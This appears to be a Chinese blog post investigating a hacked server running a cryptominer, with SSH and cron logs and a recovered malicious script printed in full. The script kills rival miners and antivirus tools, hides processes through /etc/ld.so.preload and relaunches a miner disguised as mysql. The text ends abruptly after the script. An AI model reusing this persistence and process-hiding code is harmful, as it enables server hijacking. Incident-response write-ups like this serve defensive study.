一、服务器入侵现象
近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵,具体现象是:服务器 CPU 资源长期 100%,负载较高。服务器上面的服务不能正常提供服务。
朋友处理了一会没有解决,我开始想说我不是搞安全的,我怎么会,但朋友开出了天价,一顿海底捞,我在生活和现实面前低头了,开始上手看看了。
二、服务器排查和处理
2.1、服务器被入侵的可能原因
[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
cat /etc/passwd
[root@VM-12-12-centos ~]# usermod -L sys1
Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
[root@VM-12-12-centos ~]# cat /etc/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.
/usr/bin/0f4f80f9ab start
/tmp/chattr -ai /usr/bin/chattr
/tmp/chattr -ai /usr/bin/
[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
#!/bin/sh
while test 1 = 1
do
sleep 30
pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_system
pkill -f .report_system
killall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
killall /var/tmp/j/./intelshell
pkill -f dos32
pkill -f dos64
pkill -f .name
pkill -f /usr/sbin/dbus
pkill -f systemd-boot-check-no-failures
killall .report_system
pkill -f .report_system
pkill -f keep-alive
pkill -f linu
pkill -f zapppp
killall [scan]
killall [ext4]
pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f biden1
pkill -f cpuminer-sse2
killall work64
pkill -f work64
killall work32
pkill -f work32
killall aarch12
pkill -f aarch12
killall bash1
pkill -f bash1
killall intelshell
pkill -f intelshell
killall heaven
pkill -f heaven
killall .syst3md
pkill -f .syst3md
pkill -f apachelogs
killall .meinkampf
pkill -f .meinkampf
killall xri
pkill -f xri
killall koko
pkill -f koko
killall work32-deamon
pkill -f work32-deamon
killall work64 -deamon
pkill -f work64 -deamon
killall secure.sh
pkill -f secure.sh
kkillall auth.sh
pkill -f auth.sh
killall autoupdate
pkill -f kworkers
pkill -f autoupdate
killall ld-linux
pkill -f ld-linux
pkill -9 Donald
killall -9 Donald
pkill -f /usr/local/bin/pnscan
pkill -f /usr/bin/biden1
killall /usr/bin/biden1
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64
killall ld-linux-x86-64
pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f phpupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
pkill -f master
killall master
killall sysmd
pkill -f sysmd
pkill -f sendmail
killall sendmail
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
killall watchdog
pkill -f watchdog
pkill -f 32678
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
killall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /root/.configrc/
rm -rf /tmp/.X26-unix/
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
rm -rf /usr/sbin/.bash./.bash/
rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /usr/bin/xrig
rm -rf /etc/32678
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
rm -rf /tmp/div
systemctl stop c3pool_miner.service
systemctl stop pwnriglhttps.service
systemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.service
systemctl stop netns.service
systemctl stop cryptsetup.service
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chmod 777 /usr/lib/mysql/*
/usr/lib/mysql/./mysql
done
《Docker中Image、Container与Volume的迁移》
免责声明:本文内容来源于网络,所载内容仅供参考。转载仅为学习和交流之目的,如无意中侵犯您的合法权益,请及时联系Docker中文社区!